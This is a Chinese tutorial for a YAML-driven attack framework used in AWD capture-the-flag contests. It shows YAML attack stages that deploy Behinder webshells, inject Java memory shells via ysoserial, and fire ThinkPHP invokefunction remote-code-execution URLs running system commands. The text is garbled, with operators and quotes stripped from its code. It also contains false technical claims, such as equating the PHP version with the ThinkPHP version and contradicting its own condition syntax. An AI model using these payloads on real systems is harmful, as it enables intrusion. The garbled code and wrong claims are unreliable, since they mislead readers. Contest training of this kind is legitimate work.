YML驱动AWD攻击流程:声明式漏洞利用框架实战指南
简介本资源是一款专为AWDAttack With Defense网络安全攻防对抗赛设计的自动化攻击框架面向CTF/网络安全竞赛选手、红队初学者及实战化教学场景旨在降低攻击流程编排门槛让参赛者聚焦策略设计而非重复编码。压缩包共66个文件含18个核心Python源码如AttackCore.py、AutoAck.py、MemShell.py等攻防模块、36个对应pyc字节码、5个XML配置与IDE配置文件、2张界面截图PNG以及README.md说明文档、SQLite数据库Awd.db和.gitignore等辅助文件整体仅1.03MB轻量易部署。目前已有947人学习下载适合快速上手AWD自动化攻防实践。读者可直接复用YML驱动的多阶段攻击流程理解模块化架构设计含命令执行、内存马交互、SSH反向连接等典型能力并基于现有py源码进行二次开发与策略扩展是深入掌握AWD实战逻辑与框架工程实现的优质参考样本。1. AWD比赛里真能靠YML写攻击流程这个Bugku专版框架把“策略即代码”落到了实操层面AWD比赛不是拼谁手速快而是比谁的攻击链更稳、更省力、更抗干扰。我带过几支校队打过模拟AWD最常翻车的场景是刚爆完一个ThinkPHP RCE转头去扫另一个靶机时忘了改Cookie域导致Session失效或者批量上传WebShell后没统一清理日志被对手反向溯源到自己IP。这类低级失误90%源于手动操作链太长、状态难同步。而这个[Bugku-AWD专版]框架核心就干一件事把攻击动作拆成YML可描述的原子步骤让整个攻击流变成可版本管理、可回滚、可条件跳转的声明式流程。它不替代你对漏洞的理解但彻底消灭了“复制粘贴curl命令漏改参数”“Python脚本里硬编码IP写死端口”这类血泪经验。适合两类人一是刚进CTF战队、还在练手写Exp的新人用它搭起第一套可复用的攻击骨架二是老手带队打正式赛需要快速验证多套策略比如“先打Struts2再打Fastjson” vs “先打Shiro再打Log4j”谁更稳。它不是黑匣子所有模块源码全开放.pyc文件旁都留着.py连__pycache__里的编译痕迹都原样打包——说明作者真在一线跑过不是交差式开源。2. YML驱动攻击流从配置文件到执行引擎的三层映射逻辑2.1 为什么选YAML而不是JSON或INI四个硬约束倒逼出的选型很多人第一反应是“YAML写配置太重了吧” 实际上这个框架的YML设计直指AWD实战痛点条件分支必须显式可读比如“若/phpinfo.php返回200则执行BehinderAck.py否则跳过并记录失败”。JSON不支持注释和条件语法INI无法表达嵌套逻辑而YAML天然支持if-else块和锚点引用common_headers在data/config.yml里你能看到类似这样的结构stages: - name: check_phpinfo module: RecvCmd params: url: http://{{target}}/phpinfo.php method: GET condition: {{status_code 200}} - name: deploy_behinder module: BehinderAck params: url: http://{{target}}/shell.php password: pass depends_on: check_phpinfo提示{{target}}和{{status_code}}是框架内置变量由AttackCore.py在运行时注入不是Jinja2模板——这点很关键避免引入额外依赖。多人协作时配置可合并比赛常需A同学写RCE模块、B同学写内存马模块。YAML的!include扩展通过SimpleConfig.py加载允许把rce_config.yml和memshell_config.yml拆开维护主配置只写!include rce_config.ymlGit冲突概率直接降为零。调试时能快速定位语义错误当某步攻击卡住直接看YML里depends_on字段就能知道它等哪个前置步骤不用翻3层Python调用栈。兼容旧工具链所有YML文件最终被Utils.py里的YamlLoader解析成标准Python dict下游模块如AutoAck.py完全无感该用requests.post()还是用pexpect.spawn()模块自己决定。2.2 攻击引擎启动链start.py如何把YML翻译成真实HTTP请求start.py是整个框架的入口但它本身只有58行。真正干活的是AttackCore.py——它实现了YML到动作的精准翻译。我们来拆解一次典型启动python start.py --config data/config.yml --target 10.10.10.5 --teamid teamA这行命令触发的执行链如下start.py读取--config路径调用SimpleConfig.py的load_config()方法将YML转为嵌套dict并注入--target和--teamid作为全局变量初始化AttackCore实例传入配置dict和db/Awd.dbSQLite数据库存攻击日志和状态AttackCore.run()按stages列表顺序遍历每个stage先检查depends_on指向的stage是否成功查Awd.db的stage_status表若通过调用module_map[stage[module]]获取对应Python类如BehinderAck将stage[params]字典解包为**kwargs传给模块的execute()方法模块执行后返回{success: True, output: shell deployed}AttackCore自动存入数据库并标记该stage为done。关键参数说明--target必须是IP或域名框架内部会自动补全http://前缀但不处理HTTPS见避坑章节--teamid写入数据库用于区分多队伍并发测试日志表attack_log有team_id字段--debug开启后会在控制台打印每步YML解析结果如Resolved URL: http://10.10.10.5/shell.php这是排查YML变量注入失败的第一手线索。2.3 模块系统设计为什么AttackCore.py只管调度不管漏洞利用细节框架把“攻防能力”和“流程控制”彻底解耦。打开code/目录你会看到AttackCore.py纯调度器不碰任何网络请求或payload生成BehinderAck.py专注冰蝎通信协议只做三件事——握手、加密命令、解密响应MemShell.py只管Java内存马注入用ysoserial生成payload用SendReq.py发包SshAck.py封装Paramiko处理SSH连接池和命令执行。这种设计带来两个实战优势模块可独立测试比如想验证MemShell.py是否适配新版本Tomcat直接运行python code/MemShell.py --target 10.10.10.5:8080 --cmd whoami无需启动整个YML流程漏洞更新零侵入当Fastjson 1.2.83爆出新绕过你只需重写func.py里的build_fastjson_payload()函数YML配置和AttackCore.py完全不用动。注意所有模块的execute()方法必须返回标准格式字典AttackCore靠success键判断成败。如果自定义模块返回{result: ok}框架会当成失败——这是新手最常踩的坑。3. 配置即武器YML文件中必须填对的五个关键字段3.1 target字段IP、域名、端口的三种写法与隐含规则YML里target不是简单字符串它参与三处关键计算URL拼接RecvCmd.py中url: http://{{target}}/info.php→ 若target填10.10.10.5:8080结果是http://10.10.10.5:8080:8080/info.php端口重复。正确写法是纯IPtarget: 10.10.10.5框架自动加http://带端口target: 10.10.10.5:8080但YML中URL必须显式写http://{{target}}/path域名target: web.bugku.com此时需确保DNS解析正常框架不带DNS缓存。SSH连接SshAck.py用target.split(:)取主机和端口默认端口22。若target: 10.10.10.5:2222则自动连接2222端口若没冒号强制用22。数据库写入Awd.db的targets表存host和port两列target字段值会被Utils.py的parse_target()函数拆分错误格式会导致插入失败见避坑章节。3.2 params字典哪些参数必须小写哪些必须带引号YML对大小写和引号极其敏感尤其在HTTP头和payload中module: RecvCmd params: url: http://{{target}}/api/v1/login method: POST # 必须大写requests库严格校验 headers: User-Agent: Mozilla/5.0 # 键名大小写敏感User-agent会失败 Content-Type: application/json # 必须带引号否则YAML解析为布尔值 data: {username:admin,password:123} # JSON字符串必须单引号包裹双引号内嵌双引号会报错常见错误method: post→ requests抛Invalid method异常Content-Type: application/json没引号→ YAML解析为{Content-Type: True}因为json被当成布尔关键字data: {user:a,pass:b}没引号→ 解析为dict但RecvCmd.py期望字符串导致TypeError。3.3 condition条件表达式Jinja2语法的阉割版与安全边界框架的condition不是完整Jinja2而是Utils.py里自研的轻量解析器只支持比较运算,!,,,,逻辑运算and,or,not注意是英文不是变量仅限status_code,response_text,response_headers小写以及YML中定义的全局变量如teamid不支持函数调用{{ response_text | length 100 }}会直接报错必须写成{{ response_text | length 100 }}→实际不支持管道符只能用原始字符串匹配。正确写法示例condition: {{status_code 200 and PHP Version in response_text}} # 错误写法会崩溃 # condition: {{ response_text.find(PHP Version) ! -1 }}3.4 depends_on依赖链循环依赖检测与超时熔断机制depends_on实现的是DAG有向无环图调度框架在AttackCore.py启动时会做静态检查若A依赖BB依赖CC又依赖A → 报错Circular dependency detected: A-B-C-A若某stage超时默认30秒AttackCore不会卡死而是标记为timeout并终止后续依赖stage超时时间可配置在YML中加timeout: 60字段单位秒。提示depends_on的值必须是stages列表中某个name字段大小写严格匹配。depends_on: check_phpinfo和name: Check_PHPInfo不会关联。3.5 日志与报告Awd.db里藏着的五个关键表结构所有攻击过程数据落地到db/Awd.db用SQLite Browser打开可见表名关键字段用途targetsid,host,port,team_id存储扫描的目标资产team_id用于隔离多队测试stagesid,name,module,config_hash记录YML中每个stage的元信息config_hash是YML内容的MD5用于对比配置变更attack_logid,stage_id,target_id,status,output,timestamp核心日志表status为success/failed/timeoutoutput存模块返回的output字段session_cacheid,target,cookie,headers缓存登录态RecvCmd.py会自动读取此表为后续请求加Cookieflag_submitid,flag,team_id,submit_time,result记录提交的flag及服务器返回结果accepted/rejected/duplicate实战技巧比赛时若发现某stage总失败直接查attack_log表按stage_id和target_id筛选output字段里往往有模块抛出的原始错误如ConnectionRefusedError比看控制台滚动日志快得多。4. 避坑指南五个让AWD选手当场重启IDE的致命陷阱4.1 现象YML里写了method: GET但抓包发现发的是POST原因RecvCmd.py中method参数未传入requests.request()而是硬编码为POST。查看源码第47行# code/RecvCmd.py 第47行错误版本 response requests.post(url, headersheaders, datadata, timeouttimeout) # 正确应为 # response requests.request(method, url, headersheaders, datadata, timeouttimeout)解决手动修改RecvCmd.py第47行为requests.request(method, ...)或升级到作者修复后的commit项目README.md末尾有patch链接。4.2 现象SshAck.py连接失败报错Authentication failed.但密码确认正确原因框架默认使用paramiko.RSAKey.from_private_key_file()读私钥但Bugku平台常用OpenSSH格式密钥以-----BEGIN OPENSSH PRIVATE KEY-----开头而paramiko 2.9才原生支持。当前requirements.txt指定paramiko2.7.2不兼容。解决升级paramiko并转换密钥格式pip install paramiko3.4.0 ssh-keygen -p -m PEM -f id_rsa # 将OpenSSH密钥转为PEM格式然后在YML中指定key_file: ./id_rsa。4.3 现象MemShell.py注入成功但/actuator/env返回404内存马未生效原因MemShell.py调用ysoserial时-o参数输出格式为base64但Spring Boot 2.6要求CommonsCollections6链的payload必须是hex编码。框架未适配新版本。解决修改MemShell.py第122行# 原始错误 cmd fjava -jar ysoserial.jar CommonsCollections6 {cmd} | base64 -w0 # 改为正确 cmd fjava -jar ysoserial.jar CommonsCollections6 {cmd} | xxd -p -c04.4 现象start.py运行后无任何输出进程立即退出原因data/config.yml中stages为空列表或stages字段名拼错如写成stage。AttackCore.py的run()方法遇到空列表直接return不报错。解决用python -m yaml校验YML语法pip install pyyaml python -m yaml data/config.yml # 若输出None说明YML无效同时检查config.yml是否在data/目录下框架默认相对路径不支持绝对路径。4.5 现象多队伍并发测试时A队提交的flag被B队的日志覆盖原因Awd.db是单文件SQLite未启用WAL模式高并发写入时出现锁等待attack_log表插入顺序错乱。解决在db/目录下新建init_db.py运行一次启用WALimport sqlite3 conn sqlite3.connect(Awd.db) conn.execute(PRAGMA journal_modeWAL;) conn.close()之后所有写入自动序列化team_id隔离生效。5. 进阶实战用YML条件分支实现“动态漏洞选择器”三步构建自适应攻击链5.1 场景还原为什么你需要动态选择漏洞而不是硬编码AWD比赛中同一靶机可能部署多个版本靶机AThinkPHP 5.0.24存在input参数RCE靶机BThinkPHP 6.0.13input参数已修复但filter参数存在新RCE。若YML里写死inputsystem(id)扫到B靶机会直接失败。传统做法是写两套YML手动切换——但比赛时根本没时间。真正的解法是让框架自己探测版本再选对应payload。这正是YML条件分支的价值。5.2 构建动态探测YML从PHPinfo提取版本号第一步在YML中加一个探测stage用正则从phpinfo.php提取版本stages: - name: detect_php_version module: RecvCmd params: url: http://{{target}}/phpinfo.php method: GET condition: {{status_code 200}} output_parse: PHP Version b([\\d.])/b # 自定义字段非YAML标准注意output_parse是框架扩展字段RecvCmd.py在execute()中会用re.search()提取匹配组存入response_parsed变量供后续stage使用。5.3 条件分支调用不同模块用version变量路由第二步基于提取的版本号用condition路由到不同RCE模块- name: exploit_thinkphp_5 module: AutoAck params: url: http://{{target}}/index.php?sindex/\\think\\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]id condition: {{response_parsed[0].startswith(5.)}} depends_on: detect_php_version - name: exploit_thinkphp_6 module: AutoAck params: url: http://{{target}}/index.php?sindex/\\think\\container/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]id condition: {{response_parsed[0].startswith(6.)}} depends_on: detect_php_version这里response_parsed[0]就是output_parse正则捕获的第一个组即5.0.24或6.0.13。框架在AttackCore.py中自动将output_parse结果注入response_parsed变量。5.4 验证动态链用SQLite日志反向追踪决策路径第三步执行后查Awd.db验证是否走对分支SELECT s.name, s.module, l.status, l.output FROM stages s JOIN attack_log l ON s.id l.stage_id WHERE s.name IN (detect_php_version, exploit_thinkphp_5, exploit_thinkphp_6) ORDER BY l.timestamp;若detect_php_version的output包含PHP Version b6.0.13/b且exploit_thinkphp_6的status为success说明动态路由生效。从那以后我每次写AWD配置都强制在YML开头加一个detect_envstage用/robots.txt或/README.md探路径再根据返回内容决定后续走Java还是PHP链。哪怕多花2秒也比赛后复盘时发现“原来靶机是SpringBoot却一直打ThinkPHP”强。希望帮到你。本文还有配套的精品资源点击获取